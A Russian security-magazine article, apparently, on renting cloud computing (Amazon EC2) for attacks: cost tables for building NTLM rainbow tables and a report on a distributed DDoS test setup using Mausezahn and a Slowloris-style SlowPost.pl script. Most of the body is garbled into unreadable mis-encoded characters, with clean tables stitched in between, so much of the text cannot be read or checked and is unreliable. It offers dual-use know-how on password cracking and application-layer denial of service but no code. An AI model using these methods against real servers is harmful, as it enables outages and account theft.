ÔÐÑÁÃÌàÓÝ ÐÑÏ×ÆÒÒÁÍÉ ÎÁ ÒÆÑÃÆÑÁÖ, ÈÁÐÔÚÆÎÎÜÖ ÎÁ ÐÌÏÚÁÅËÆ 
ÐÑÏÃÁÊÅÆÑÁ ÏÂÌÁØÎÜÖ ÃÜØÉÒÌÆÎÉÊ.

°ÑÏÃÆÅÆÎÉÆ ÁÓÁË
IaaS-ÐÌÏÚÁÅËÉ ÉÅÆÁÌÝÎÏ ÐÏÅÖÏÅàÓ É ÅÌà ÁÓÁË ÎÁ ÔÅÁÌÆÎÎÜÆ 
ÒÆÑÃÉÒÜ. ®ÁÐÑÉÍÆÑ, ÅÌà ÐÆÑÆÂÏÑÁ ÐÁÑÏÌÆÊ, Á ÓÁËÇÆ ÑÁÈÌÉØÎÜÖ 
ÃÉÅÏÃ client-side-ÁÓÁË. £Ï-ÐÆÑÃÜÖ, ÎÁ ÐÌÏÚÁÅËÆ ÅÏÒÓÁÓÏØÎÏ 
ÌÆÄËÏ É ÐÑÏÒÓÏ «ÑÁÈÃÆÑÎÔÓÝ» ÌßÂÏÊ ÂÏÆÃÏÊ ÁÑÒÆÎÁÌ, ÎÁÐÑÉÍÆÑ, 
metasploit ÉÌÉ canvas. £Ï-ÃÓÏÑÜÖ, ÐÆÑÆÂÏÑ ÐÁÑÏÌÆÊ ÍÏÇÆÓ ÂÜÓÝ 
ÏÒÔÚÆÒÓÃÌÆÎ ÑÁÒÐÑÆÅÆÌÆÎÎÏ, ËÁË É Ã ÒÌÔØÁÆ ÒÏ ÒËÁÎÉÑÏÃÁÎÉÆÍ 
ÐÏÑÓÏÃ ÔÅÁÌÆÎÎÏÄÏ ÖÏÒÓÁ, ÃÏ ÉÈÂÆÇÁÎÉÆ ÂÌÏËÉÑÏÃËÉ IP-ÁÅÑÆÒÁ 
ÁÓÁËÔßÚÆÄÏ. £ ÓÑÆÓÝÉÖ, ÐÌÏÚÁÅËÁ IaaS ÍÏÇÆÓ ÐÏÒÌÔÇÉÓÝ ÏÓÌÉØ-
ÎÜÍ ÐÏÒÑÆÅÎÉËÏÍ ÍÆÇÅÔ ÁÓÁËÔßÚÉÍ É ×ÆÌÝß Ò ÓÏØËÉ ÈÑÆÎÉà ÓÏÄÏ, 
ØÓÏ ÉÒÓÏÑÉà ÃÒÆÖ ÅÆÊÒÓÃÉÊ, ÒÏÃÆÑÙÆÎÎÜÖ Ò ÐÌÏÚÁÅËÉ IaaS, ÂÔÅÆÓ 
ÔÎÉØÓÏÇÆÎÁ ÐÏÒÌÆ ÃÜËÌßØÆÎÉà ÒÆÑÃÆÑÁ.

¢ÑÔÓÕÏÑÒ
£ÏÈÍÏÇÎÏÒÓÝ ÉÒÐÏÌÝÈÏÃÁÓÝ ÔÒÌÏÃÎÏ «ÎÆÏÄÑÁÎÉØÆÎÎÜÆ» ÑÆÒÔÑÒÜ 
ÏÂÌÁØÎÜÖ ÃÜØÉÒÌÆÎÉÊ ÐÏÈÃÏÌàÆÓ ÐÑÏÅÔËÓÉÃÎÏ ÐÑÏÃÏÅÉÓÝ ÍÆÑÏ-
ÐÑÉàÓÉà ÐÏ ÂÑÔÓÕÏÑÒÔ ÖÆÙÆÊ É ÄÆÎÆÑÁ×ÉÉ ÑÁÅÔÇÎÜÖ ÓÁÂÌÉ× Ò 
ÐÏÒÌÆÅÔßÚÉÍ ÃÏÒÒÓÁÎÏÃÌÆÎÉÆÍ ÐÏ ÎÉÍ ÈÁÙÉÕÑÏÃÁÎÎÜÖ ÒÓÑÏË. 
ÀÃÎÜÍ ÐÌßÒÏÍ ÄÆÎÆÑÁ×ÉÉ ÑÁÅÔÇÎÜÖ ÓÁÂÌÉ× ÎÁ ÂÁÈÆ ÏÂÌÁØÎÜÖ 
ÒÆÑÃÉÒÏÃ àÃÌàÆÓÒà ÃÏÈÍÏÇÎÏÒÓÝ ÉÒÐÏÌÝÈÏÃÁÎÉà ÏÄÑÏÍÎÏÄÏ 
ÔÒÓÑÏÊÒÓÃÁ ÖÑÁÎÆÎÉà ÅÁÎÎÜÖ. ®Á ÐÑÁËÓÉËÆ ÄÆÎÆÑÁ×Éà ÑÁÅÔÇÎÜÖ 
ÓÁÂÌÉ× ÅÌà ÁÌÄÏÑÉÓÍÁ ntlm (mixalpha-numeric-all-space, 8 ÒÉÍÃÏ-
ÌÏÃ) ÒÃÏÅÉÓÒà ÓÏÌÝËÏ Ë ÃÏÐÑÏÒÔ ÃÑÆÍÆÎÉ É ÕÉÎÁÎÒÏÃÜÍ ÈÁÓÑÁÓÁÍ. 
¥Ìà ÄÆÎÆÑÁ×ÉÉ ÓÁËÏÊ ÓÁÂÌÉ×Ü ÎÁ ÓÏÐÏÃÏÍ ÅÏÍÁÙÎÆÍ ËÏÍÐÝßÓÆÑÆ 

ÐÏÓÑÆÂÔÆÓÒà ÐÏÑàÅËÁ 1290 ÌÆÓ. £ ÒÌÔØÁÆ ÇÆ ÏÂÌÁØÎÜÖ ÃÜØÉÒÌÆÎÉÊ, 
ÐÑàÍÏ ÈÅÆÒÝ É ÒÆÊØÁÒ ÍÏÇÎÏ ËÔÐÉÓÝ «ÍÁÙÉÎÔ ÃÑÆÍÆÎÉ», ËÏÓÏÑÁà 
ÂÔÅÆÓ ÒÏÈÅÁÃÁÓÝÒà ÐÑÉÍÆÑÎÏ 1,5 ÄÏÅÁ É ÆÆ ÒÓÏÉÍÏÒÓÝ ÒÏÒÓÁÃÉÓ 
ÐÏÑàÅËÁ $320k. À ÖÏØÔ ÒËÁÈÁÓÝ, ØÓÏ ÓÁËÔß ÓÁÂÌÉ×Ô, ÉÒÐÏÌÝÈÔà 
ÏÂÌÁØÎÜÆ ÃÜØÉÒÌÆÎÉà, ÎÁ ÐÑÁËÓÉËÆ ÍÏÇÎÏ ÒÏÈÅÁÓÝ ÃÒÆÄÏ ÈÁ 1,5 
ÄÏÅÁ. £ ÓÁÂÌÉ×Æ 1 ÐÏËÁÈÁÎÁ ÅÆÓÁÌÝÎÁà ÒÓÁÓÉÒÓÉËÁ ÐÏ ÕÉÎÁÎÒÏÃÜÍ 
ÈÁÓÑÁÓÁÍ ÅÌà ÓÁËÏÊ ÑÁÈÑÁÂÏÓËÉ. £ ÅÁÎÎÏÍ ÒÌÔØÁÆ ÉÒÐÏÌÝÈÏÃÁÌÏÒÝ 
20 ÒÆÑÃÆÑÏÃ ÒÏ ÒÌÆÅÔßÚÉÍÉ ÓÆÖÎÉØÆÒËÉÍÉ ÖÁÑÁËÓÆÑÉÒÓÉËÁÍÉ: 2 x 
Intel Xeon X5570 quad-core «Nehalem» architecture, 2 àÅÑÁ NVidia 
Tesla M2050, 23 ¤Â ¯¨ .́
·ÉÕÑÜ ÄÏÃÏÑàÓ Ï ÓÏÍ, ØÓÏ ÐÏÑÁ ÍÆÎàÓÝ ÐÁÑÏÌÝÎÔß ÐÏÌÉÓÉËÔ  — 
ÑÁÒÙÉÕÑÏÃÁÓÝ NTLM-ÖÆÙ ÐÁÑÏÌà ÉÈ 8 ÒÉÍÃÏÌÏÃ ÃÐÏÌÎÆ ÑÆÁÌÝÎÏ 
É ÅÏÒÓÔÐÎÏ ÅÌà ÐÌÏÖÉÖ ÐÁÑÎÆÊ. ®Ï ÞÓÏ ÓÏÌÝËÏ ÓÆÏÑÉà. ®Á ÐÑÁËÓÉËÆ 
ÇÆ ÐÏÌÉÓÉËÁ ÂÆÈÏÐÁÒÎÏÒÓÉ ÐÁÑÏÌÆÊ ÂÏÌÆÆ ÌÏàÌÝÎÁ É ÏÄÑÁÎÉØÉ-
ÃÁÆÓ ÐÏÌÝÈÏÃÁÓÆÌà ÌÉÙÝ ÅÌÉÎÏÊ ÐÁÑÏÌà — 8 ÒÉÍÃÏÌÏÃ Ã ÌÔØÙÆÍ 
ÒÌÔØÁÆ. ²ÓÁÓÉÒÓÉËÁ ÉÒÐÏÌÝÈÔÆÍÜÖ ÐÁÑÏÌÆÊ Ã ËÑÔÐÎÜÖ ËÏÍÐÁÎÉàÖ, 
ÒÏÒÓÁÃÌÆÎÎÁà ¥ÍÉÓÑÉÆÍ ¦ÃÓÆÆÃÜÍ É ÐÑÉÃÆÅÆÎÎÁà Ã ÆÄÏ ÅÏËÌÁÅÆ 
«¡ÎÁÌÉÈ ÐÑÏÂÌÆÍ ÐÁÑÏÌÝÎÏÊ ÈÁÚÉÓÜ Ã ÑÏÒÒÉÊÒËÉÖ ËÏÍÐÁÎÉàÖ» 
(www.ptsecurity.ru/download/PT-Metrics-Passwords-2009.pdf), 
ÄÏÃÏÑÉÓ Ï ÓÏÍ, ØÓÏ ÂÏÌÝÙÉÎÒÓÃÏ ÐÏÌÝÈÏÃÁÓÆÌÆÊ ÃÒÆÍÉ ÃÏÈÍÏÇÎÜ-

Подключение к инстанту по ssh

Необходимый ресурс Качество Стоимость Общая стоимость

Работа одного Instance 20 $6590 + $0,56/hour
20 * $6590 = $131 800
$ 0,56 * 20 * 12834 = $ 143 740

Data Storage 418 Tb $ 102 / Tb $ 102 * 418 =$ 42 636

Итого: $ 318 176

 067

ТАБЛИЦА 1 

Интерфейс EC2: 
запущено 20 инстантов
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ÍÉ ÒÐÏÒÏÂÁÍÉ ÐÜÓÁßÓÒà ÏÂÏÊÓÉ ÏÄÑÁÎÉØÆÎÉà ÐÁÑÏÌÝÎÏÊ ÐÏÌÉÓÉËÉ 
É ÉÒÐÏÌÝÈÏÃÁÓÝ ÐÑÏÒÓÏÊ ÐÁÑÏÌÝ. 
£ ÓÁÂÌÉ×Æ 2 ÐÑÆÅÒÓÁÃÌÆÎÜ ÎÆÏÂÖÏÅÉÍÜÆ ÅÌà ÄÆÎÆÑÁ×ÉÉ ÑÁÈÌÉØ-
ÎÜÖ ÑÁÅÔÇÎÜÖ ÓÁÂÌÉ× ÑÆÒÔÑÒÜ.
«ÁË ÃÉÅÎÏ, ÄÆÎÆÑÁ×Éà «ÔÎÉÃÆÑÒÁÌÝÎÏÊ» ÑÁÅÔÇÎÏÊ ÓÁÂÌÉ×Ü ÅÌà 
ÐÁÑÏÌÆÊ, ÒÏÒÓÏàÚÉÖ ÉÈ ÒÉÍÃÏÌÏÃ ÁÎÄÌÉÊÒËÏÄÏ ÁÌÕÁÃÉÓÁ (low-
case) É ×ÉÕÑ (ÏÓ 1 ÅÏ 12 ÒÉÍÃÏÌÏÃ) ÈÁÎÉÍÁÆÓ ×ÆÌÜÊ ÍÉÌÌÆÎÉÔÍ É 
ÐÏÑàÅËÁ 80 ÍÌÎ ÅÏÌÌÁÑÏÃ. ¥Ìà ØÁÒÓÎÏÄÏ ÌÉ×Á ÞÓÏ ÎÁ ÄÑÁÎÉ ÕÁÎ-
ÓÁÒÓÉËÉ, ÎÏ ÅÌà ÄÏÒÔÅÁÑÒÓÃ É ÅÁÇÆ ËÑÔÐÎÏÄÏ ÂÉÈÎÆÒÁ — ÃÐÏÌÎÆ 
ÐÏÅÛÆÍÎÏ. ¦ÒÌÉ ÇÆ ÈÁÅÁÓÝÒà ×ÆÌÝß, ÓÏ ÉÒÐÏÌÝÈÔà ÃÒÆÄÏ 20 000 
ÒÆÑÃÆÑÏÃ ÃÍÆÒÓÏ 20, ÍÏÇÎÏ ÒÏÈÅÁÓÝ ÓÁËÔß ÓÁÂÌÉ×Ô ÃÒÆÄÏ ÈÁ ÄÏÅ.

¯ÂÌÁØÎÜÊ DDoS
£ ÐÆÑÃÔß ÏØÆÑÆÅÝ ÎÆÏÂÖÏÅÉÍÏ ÑÁÈÏÂÑÁÓÝÒà ÒÏ ÒÖÆÍÏÊ ÐÑÏÃÆÅÆ-
ÎÉà ÞÕÕÆËÓÉÃÎÏÊ ¥¥Ï²-ÁÓÁËÉ ÎÁ ÒÆÑÃÆÑ/ÒÆÑÃÉÒ. ¤ÁÑÁÎÓÜ ÞÕÕÆË-
ÓÉÃÎÏÒÓÉ ¥¥Ï²-ÁÓÁËÉ:
• ÂÏÌÝÙÏÆ ËÏÌÉØÆÒÓÃÏ ÁÓÁËÔßÚÉÖ ÍÁÙÉÎ;
• «ÔÍÎÁà» ÎÁÄÑÔÈËÁ ÁÓÁËÔÆÍÏÊ ÒÉÒÓÆÍÜ.
IaaS Ã ÒËÏÐÆ ÒÏ ÒÐÆ×ÉÁÌÉÈÉÑÏÃÁÎÎÜÍ DDoS-ÒÏÕÓÏÍ — ÞÓÏÊ ÔÂÏÊ-
ÎÁà ËÏÎÒÓÑÔË×Éà, ÐÏÈÃÏÌàßÚÁà ÏÒÔÚÆÒÓÃÌàÓÝ ÏØÆÎÝ ÞÕÕÆËÓÉÃÎÜÆ 
¥¥Ï²-ÁÓÁËÉ. ²ÆÑÃÉÒ IaaS ÔÅÏÃÌÆÓÃÏÑàÆÓ ÐÔÎËÓ Ï ÎÆÏÂÖÏÅÉÍÏÍ 
ÍÎÏÇÆÒÓÃÆ ÁÓÁËÔßÚÉÖ ÍÁÙÉÎ. ²ÐÆ×ÉÁÌÉÈÉÑÏÃÁÎÎÜÊ ÒÏÕÓ ÅÏÌÇÆÎ 
ÏÓÃÆØÁÓÝ ÈÁ «ÔÍÎÔß» ÎÁÄÑÔÈËÔ ÁÓÁËÔÆÍÜÖ ÒÉÒÓÆÍ Ò ×ÆÌÝß «ÏÓËÁÈÁ 
Ã ÏÂÒÌÔÇÉÃÁÎÉÉ».
²ÐÆ×ÉÁÌÉÒÓÁÍÉ ÎÁÙÆÊ ËÏÍÐÁÎÉÉ ÂÜÌÏ ÑÁÈÑÁÂÏÓÁÎÏ ÓÆÖÎÉØÆÒËÏÆ 
ÈÁÅÁÎÉÆ ÅÌà ÐÏÅÏÂÎÏÄÏ ÑÏÅÁ ÒÏÕÓÁ. ³ÑÆÂÏÃÁÎÉà Ë ÑÁÒÐÑÆÅÆÌÆÎ-
ÎÏÊ ÒÉÒÓÆÍÆ ÎÁÄÑÔÈÏØÎÏÄÏ ÓÆÒÓÉÑÏÃÁÎÉà:
• ÍÔÌÝÓÉÐÌÁÓÕÏÑÍÆÎÎÏÒÓÝ (Linux/Windows);
• ÍÏÅÔÌÝÎÏÒÓÝ;
• ×ÆÎÓÑÁÌÉÈÏÃÁÎÎÏÆ ÔÐÑÁÃÌÆÎÉÆ (ËÌÉÆÎÓ<->ÒÆÑÃÆÑ).
®ÆÏÂÖÏÅÉÍÜÆ ÎÁ ÐÆÑÃÜÖ ÐÁÑÁÖ ÍÏÅÔÌÉ:
• SYN flood
• UDP flood

• ICMP flood
• Application flood
• HTTP/HTTPS (GET/POST)
• FTP 
• SMTP/SMTP+SSL/TLS
• POP3/POP3+SSL
°ÁÑÁÌÌÆÌÝÎÏ Ò ÑÁÈÑÁÂÏÓËÏÊ ÑÁÒÐÑÆÅÆÌÆÎÎÏÊ ÒÉÒÓÆÍÜ ÎÁÄÑÔÈÏØ-
ÎÏÄÏ ÓÆÒÓÉÑÏÃÁÎÉà, ÍÜ ÐÑÏÃÆÌÉ ÉÒÐÜÓÁÎÉà ÔÇÆ ÒÔÚÆÒÓÃÔßÚÆÄÏ 
ÒÏÕÓÁ ÅÌà ÎÁÄÑÔÈÏØÎÏÄÏ ÓÆÒÓÉÑÏÃÁÎÉà. ¢ÏÌÝÙÁà ØÁÒÓÝ ÐÔÂÌÉØÎÏÄÏ 
°¯ ÎÆ ÔÅÏÃÌÆÓÃÏÑàÌÁ ÐÔÎËÓÔ ×ÆÎÓÑÁÌÉÈÏÃÁÎÎÏÄÏ ÔÐÑÁÃÌÆÎÉà, 
Ã ÒÃàÈÉ Ò ØÆÍ ÐÑÉÙÌÏÒÝ ÒÁÍÏÒÓÏàÓÆÌÝÎÏ ÐÉÒÁÓÝ ÔÐÑÁÃÌàßÚÉÆ 
ÒËÑÉÐÓÜ ÅÌà ×ÆÎÓÑÁÌÉÈÁ×ÉÉ ÔÐÑÁÃÌÆÎÉà ÁÓÁËÔßÚÉÍÉ ÐÑÉÌÏÇÆ-
ÎÉàÍÉ.
©È ÐÔÂÌÉØÎÜÖ ÔÓÉÌÉÓ ÍÜ ÉÒÐÏÌÝÈÏÃÁÌÉ ÅÃÁ ÐÑÏÅÔËÓÁ:
• Mauszahn (www.perihel.at/sec/mz/) — ÔÓÉÌÉÓÁ ÅÌà ÄÆÎÆÑÁ×ÉÉ 
ÓÑÁÕÉËÁ (ËÁË ÃÁÌÉÅÎÏÄÏ, ÓÁË É ÎÆÃÁÌÉÅÎÏÄÏ). £ ÂÏÌÝÙÉÎÒÓÃÆ ÒÌÔ-
ØÁÆÃ ÉÒÐÏÌÝÈÔÆÓÒà ÅÌà ÐÑÏÃÆÅÆÎÉà ÓÆÒÓÉÑÏÃÁÎÉà ÒÆÓÆÊ VoIP ÉÌÉ 
ÂÏÌÝÙÉÖ ÒÆÓÆÊ, Á ÓÁËÇÆ ÅÌà ÐÑÏÃÆÅÆÎÉà ÁÔÅÉÓÁ ÂÆÈÏÐÁÒÎÏÒÓÉ Ã 
ÏÓÎÏÙÆÎÉÉ ÒÉÒÓÆÍ, ÃÏÈÍÏÇÎÏ ÔàÈÃÉÍÜÖ ÅÌà ÒÐÆ×ÉÕÉØÆÒËÉÖ ÁÓÁË 
ÎÁ ÏÓËÁÈ Ã ÏÂÒÌÔÇÉÃÁÎÉÉ.
• SlowPost.pl (ÁÎÁÌÏÄ ÅÌà SlowLoris HTTP DoS Tool) — ÎÆÂÏÌÝÙÏÊ 
ÒËÑÉÐÓ, ÐÏÈÃÏÌàßÚÉÊ ÐÑÏÃÆÒÓÉ ÁÓÁËÔ ÎÁ ÐÑÏÓÏËÏÌ HTTP ØÆÑÆÈ 
POST-ÈÁÐÑÏÒÜ Ë ÃÆÂ-ÒÆÑÃÆÑÔ, Ò ×ÆÌÝß ÃÜÈÃÁÓÝ ÏÓËÁÈ Ã ÏÂÒÌÔ-
ÇÉÃÁÎÉÉ (ÉÒØÆÑÐÁÃ ÍÁËÒÉÍÁÌÝÎÏÆ ËÏÌÉØÆÒÓÃÏ ÐÏÅËÌßØÆÎÉÊ Ë 
ÒÆÑÃÆÑÔ). ¢ÏÌÆÆ ÐÏÅÑÏÂÎÏÆ ÏÐÉÒÁÎÉÆ ÅÁÎÎÏÊ ÁÓÁËÉ ÐÑÆÅÒÓÁÃÌÆÎÏ 
ÎÁ ÒÓÑÁÎÉ×Æ SlowLoris HTTP DoS (ha.ckers.org/blog/20090617/
slowloris-http-dos/). ¡ÎÁÌÏÄÉØÎÜÊ ÒÐÏÒÏÂ Application Flood 
ÅÌà ÐÑÏÓÏËÏÌÁ HTTP ØÆÑÆÈ POST-ÈÁÐÑÏÒÜ Ò ÉÒÐÏÌÝÈÏÃÁÎÉÆÍ 
ÏÂÌÁØÎÜÖ ÃÜØÉÒÌÆÎÉÊ ÂÜÌ ÐÑÆÅÒÓÁÃÌÆÎ ¥ÞÃÉÅÏÍ ¢ÑÁÊÆÎÏÍ É 
ÉÖÁÉÌÏÍ ¡ÎÅÆÑÒÏÎÏÍ ÎÁ ÖÁËÆÑÒËÏÊ ËÏÎÕÆÑÆÎ×ÉÉ Defcon 18 (bit.
ly/lid5Sr). ¯ÎÉ ÑÆÁÌÉÈÏÃÁÌÉ ÕÔÎË×ÉÏÎÁÌ ÑÁÒÐÑÆÅÆÌÆÎÎÏÊ ÒÉÒÓÆÍÜ 
Application Flood’Á ÅÌà ÐÑÏÓÏËÏÌÁ HTTP, ÎÏ, Ë ÒÏÇÁÌÆÎÉß, ÐÑÁË-
ÓÉØÆÒËÉÊ ÑÆÈÔÌÝÓÁÓ Ã ÃÉÅÆ «ÏÓËÁÈÁ Ã ÏÂÒÌÔÇÉÃÁÎÉÉ» ÑÆÁÌÝÎÏÄÏ 
ÒÆÑÃÆÑÁ (ÐÁÑÎàÍÉ ÂÜÌ ÉÒÐÏÌÝÈÏÃÁÎ ÅÌà ÐÑÆÈÆÎÓÁ×ÉÉ ÏÅÉÎ ÉÈ 
ÃÆÂ-ÒÆÑÃÆÑÏÃ Defcon’Á) ÎÆ ÂÜÌ ÐÏÌÔØÆÎ, ÖÏÓà ÈÁÅÔÍËÁ Ã ÓÆÏÑÉÉ 
ÅÆÊÒÓÃÉÓÆÌÝÎÏ ÅÏÌÇÎÁ ÂÜÌÁ ÏÓÌÉØÎÏ ÑÁÂÏÓÁÓÝ. « ÓÁËÏÊ ÈÁÍÉÎËÆ 
ÍÏÄÌÏ ÐÑÉÃÆÒÓÉ ÌÉÂÏ ÎÆÅÏÒÓÁÓÏØÎÏ ÞÕÕÆËÓÉÃÎÏÆ ÏÒÔÚÆÒÓÃÌÆÎÉÆ 
Application Flood, ÌÉÂÏ ÎÆÅÏÒÓÁÓÏØÎÏÆ ËÏÌÉØÆÒÓÃÏ ÁÓÁËÔßÚÉÖ 
ÒÆÑÃÆÑÏÃ. £ ÑÁÈÑÁÂÏÓËÆ ÒËÑÉÐÓÁ SlowPost.pl ÏÒÎÏÃÎÏÊ ËÁØÆÒÓÃÆÎ-
ÎÏÊ ÖÁÑÁËÓÆÑÉÒÓÉËÏÊ àÃÌàÌÏÒÝ ÞÕÕÆËÓÉÃÎÏÆ ÏÒÔÚÆÒÓÃÌÆÎÉÆ 
Application Flood. £ ÉÓÏÄÆ, ÒËÑÉÐÓ ÐÏÈÃÏÌàÆÓ ÒÏÈÅÁÓÝ É ÐÏÅÅÆÑ-

Характеристика радужной таблицы
Требуемое 
время

Стоимость

Цифры (от 1 до 12 символов) 3 часа $ 103

Символы английского (low-case) алфавита (от 1 до 12 символов) 21 год $ 2 363 252

Символы английского алфавита (от 1 до 11 символов) 275 суток $ 754 064

Символы английского алфавита (low-case) (от 1 до 10 символов) 11 суток $ 9 823

Символы английского алфавита (low-case) и цифры (от 1 до 12 символов) 1046 лет $ 80 919 507

Символы английского алфавита (low-case) и цифры (от 1 до 11 символов) 27 лет $ 4 631 216

Символы английского алфавита (low-case) и цифры (от 1 до 10 символов) 297 суток $ 188 884

Символы английского алфавита (low-case) и цифры (от 1 до 9 символов) 11 суток $ 9 695

ТАБЛИЦА 2

ТАБЛИЦА 3

Необходимый ресурс Стоимость

Работа одного Instance (час) $0,085 ~ 3 рубля

Трафик (in+out) (Гб) $0,150 ~ 5 рубля

Необходимый ресурс Качество Стоимость
Работа одного Instance 1 $0,085 ~ 3 рубля/час

Трафик (in+out) (Гб) <1 <$0,150 ~ <4 рублей

Итого: <7 рублей/час

ТАБЛИЦА 4
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ÇÉÃÁÓÝ ÏÅÎÏÃÑÆÍÆÎÎÏ ÂÏÌÆÆ 900 ÐÏÅËÌßØÆÎÉÊ Ë ÁÓÁËÔÆÍÏÍÔ 
ÃÆÂ-ÒÆÑÃÆÑÔ Ò ÏÅÎÏÊ ÁÓÁËÔßÚÉÊ ÍÁÙÉÎÜ. ³ÁËÉÆ ÖÁÑÁËÓÆÑÉÒÓÉËÉ 
ÐÏÈÃÏÌàßÓ Ò ÐÏÍÏÚÝß ÃÒÆÄÏ ÏÅÎÏÊ ÁÓÁËÔßÚÆÊ ÍÁÙÉÎÜ ÏÂÆ-
ÒÐÆØÉÓÝ ÁÓÁËÔ ÎÁ «ÏÓËÁÈ Ã ÏÂÒÌÔÇÉÃÁÎÉÉ» ÅÌà ÂÏÌÝÙÉÎÒÓÃÁ ÃÆÂ-
ÒÆÑÃÆÑÏÃ, ÑÁÂÏÓÁßÚÉÖ ÐÏÅ ÔÐÑÁÃÌÆÎÉÆÍ ÃÆÂ-ÒÆÑÃÆÑÁ Apache. 
£ÆÅÝ ÅÉÑÆËÓÉÃÁ MaxClients ÐÏ ÔÍÏÌØÁÎÉß ÑÁÃÎÁ 256: ÃÆÂ-ÒÆÑÃÆÑ 
ÏÂÆÒÐÆØÉÃÁÆÓ ÃÏÈÍÏÇÎÏÒÓÝ ÑÁÂÏÓÜ ÓÏÌÝËÏ Ò 256 ÐÏÌÝÈÏÃÁÓÆÌàÍ 
ÏÅÎÏÃÑÆÍÆÎÎÏ. £ÆÂ-ÒÆÑÃÆÑ IIS (Windows 2003 Server), Ã ÏÓÌÉØÉÆ 
ÏÓ Apache, ÉÒÐÏÌÝÈÔÆÓ ÈÎÁØÆÎÉÆ ÐÏ ÔÍÏÌØÁÎÉß, ÑÁÃÎÏÆ ÐÑÉÂÌÉÈÉ-
ÓÆÌÝÎÏ 20 000.
±ÁÈÑÁÂÏÓËÁ ÒÉÒÓÆÍÜ ÑÁÒÐÑÆÅÆÌÆÎÎÏÄÏ ÎÁÄÑÔÈÏØÎÏÄÏ ÓÆÒÓÉÑÏÃÁ-
ÎÉà ÂÜÌÁ ÐÑÏÃÆÅÆÎÁ Ã ÒÏÏÓÃÆÓÒÓÃÉÉ Ò ÃÏÈÍÏÇÎÏÒÓàÍÉ ÒÆÑÃÉÒÁ 
IaaS ÏÓ ÐÑÏÃÁÊÅÆÑÁ Amazon (aws.amazon.com). £ÜÂÏÑ ÐÁÌ ÎÁ 
ÅÁÎÎÏÄÏ ÐÑÏÃÁÊÅÆÑÁ ÎÆ ÒÌÔØÁÊÎÏ. £Ï-ÐÆÑÃÜÖ, Amazon — ÅÏÒÓÁ-
ÓÏØÎÏ ÂÜÒÓÑÏ ÑÁÈÃÉÃÁßÚÉÊÒà ËÑÔÐÎÜÊ ÐÑÏÆËÓ, ÐÏÈÃÏÌàßÚÉÊ 
ÒÃÏÉÍ ÐÏÌÝÈÏÃÁÓÆÌàÍ ÏÅÎÉÍÉ ÉÈ ÐÆÑÃÜÖ ÐÏÌÔØÁÓÝ ÅÏÒÓÔÐ Ë ÎÏÃÜÍ 
«ÕÉØÁÍ» ÕÔÎË×ÉÏÎÁÌÁ ÏÂÌÁØÎÜÖ ÃÜØÉÒÌÆÎÉÊ. £Ï-ÃÓÏÑÜÖ, ÐÏÒÌÆ 
ÐÑÏÃÆÅÆÎÉà ÒÑÁÃÎÆÎÉà ÂßÅÇÆÓÁ ÎÁ ÑÆÁÌÉÈÁ×Éß ÁÓÁË ÎÁ ÏÓËÁÈ Ã 
ÏÂÒÌÔÇÉÃÁÎÉÉ, ËÏÓÏÑÜÊ ÐÑÉÃÆÅÆÎ ÎÉÇÆ Ã ÓÁÂÌÉ×Æ 3, ÏËÁÈÁÌÏÒÝ, 
ØÓÏ ÒÆÑÃÉÒ ÏÓ Amazon ÎÁÉÂÏÌÆÆ ÅÆÍÏËÑÁÓÉØÆÎ É ÄÉÂÏË. 
³ÆÖÎÉØÆÒËÉÆ ÖÁÑÁËÓÆÑÉÒÓÉËÉ ÈÁÐÔÒËÁÆÍÏÄÏ Instance, ÃÜÒÓÔÐÁßÚÆ-
ÄÏ Ã ÑÏÌÉ ÁÓÁËÔßÚÆÄÏ ÈÃÆÎÁ, ÐÑÆÅÒÓÁÃÌàßÓ ÒÏÂÏÊ ÒÌÆÅÔßÚÆÆ:
• ÒÉÒÓÆÍÁ x86/x64 (1 CPU);
• 613 Â ¯¨´;
• 10 ¤Â HDD.
³ÆÖÎÉØÆÒËÉÆ ÖÁÑÁËÓÆÑÉÒÓÉËÉ Instance ÂÜÌÉ ÃÜÂÑÁÎÜ ÍÉÎÉÍÁÌÝ-
ÎÜÍÉ Ã ÒÉÌÔ ÓÏÄÏ, ØÓÏ ÅÌà ÑÆÁÌÉÈÁ×ÉÉ ÁÓÁËÉ ÎÁ «ÏÓËÁÈ Ã ÏÂÒÌÔÇÉ-
ÃÁÎÉÉ» ÐÑÉÏÑÉÓÆÓ ÏÓÅÁÆÓÒà ËÏÌÉØÆÒÓÃÔ ÁÓÁËÔßÚÉÖ ÍÁÙÉÎ, Á ÎÆ 
ÉÖ ÃÜØÉÒÌÉÓÆÌÝÎÜÍ ÖÁÑÁËÓÆÑÉÒÓÉËÁÍ. «ÁÇÅÜÊ Instance ÒÎÁÂÇÆÎ 
ËÁÎÁÌÏÍ Ò ÐÑÏÐÔÒËÎÏÊ ÒÐÏÒÏÂÎÏÒÓÝß 100 Mb/s, ÐÏÞÓÏÍÔ ÐÑÏÂÌÆÍ 
Ã ÒËÏÑÏÒÓÉ ÐÆÑÆÅÁØÉ ÅÁÎÎÜÖ ÅÏ ÁÓÁËÔÆÍÏÄÏ ÒÆÑÃÆÑÁ ÓÆÏÑÆÓÉØÆÒËÉ 
ÂÜÓÝ ÎÆ ÅÏÌÇÎÏ.
£ ÐÆÑÃÔß ÏØÆÑÆÅÝ ÂÜÌÏ ÏØÆÎÝ ÉÎÓÆÑÆÒÎÏ ÔÃÉÅÆÓÝ ÑÆÁÌÝÎÔß ÍÏÚ-
ÎÏÒÓÝ ÐÑÆÅÐÏÌÁÄÁÆÍÏÄÏ «ÂÏÓÎÆÓÁ» ÎÁ ÏÂÌÁØÎÜÖ ÓÆÖÎÏÌÏÄÉàÖ. ¥Ìà 
ÓÆÒÓÁ ÂÜÌ ÃÜÂÑÁÎ Ò×ÆÎÁÑÉÊ ÔÐÏÍàÎÔÓÏÄÏ ¢ÑÁÊÆÎÁ ¡ÎÅÆÑÒÏÎÁ, 

ÐÑÆÅÒÓÁÃÌàßÚÉÊ ÉÈ ÒÆÂà ÑÆÁÌÉÈÁ×Éß ÁÓÁËÉ ÎÁ «ÏÓËÁÈ Ã ÏÂÒÌÔÇÉ-
ÃÁÎÉÉ» ÅÌà HTTP-ÒÆÑÃÆÑÁ. 
«ÁË ÂÜÌÏ ÃÜàÒÎÆÎÏ, ÒÃàÈËÁ 1 «Instance» + ÒËÑÉÐÓ SlowPost.pl 
ÐÏÈÃÏÌàÆÓ ÞÍÔÌÉÑÏÃÁÓÝ ÂÏÌÆÆ ØÆÍ 900 ËÌÉÆÎÓÏÃ ÃÆÂ-ÒÆÑÃÆÑÁ. 
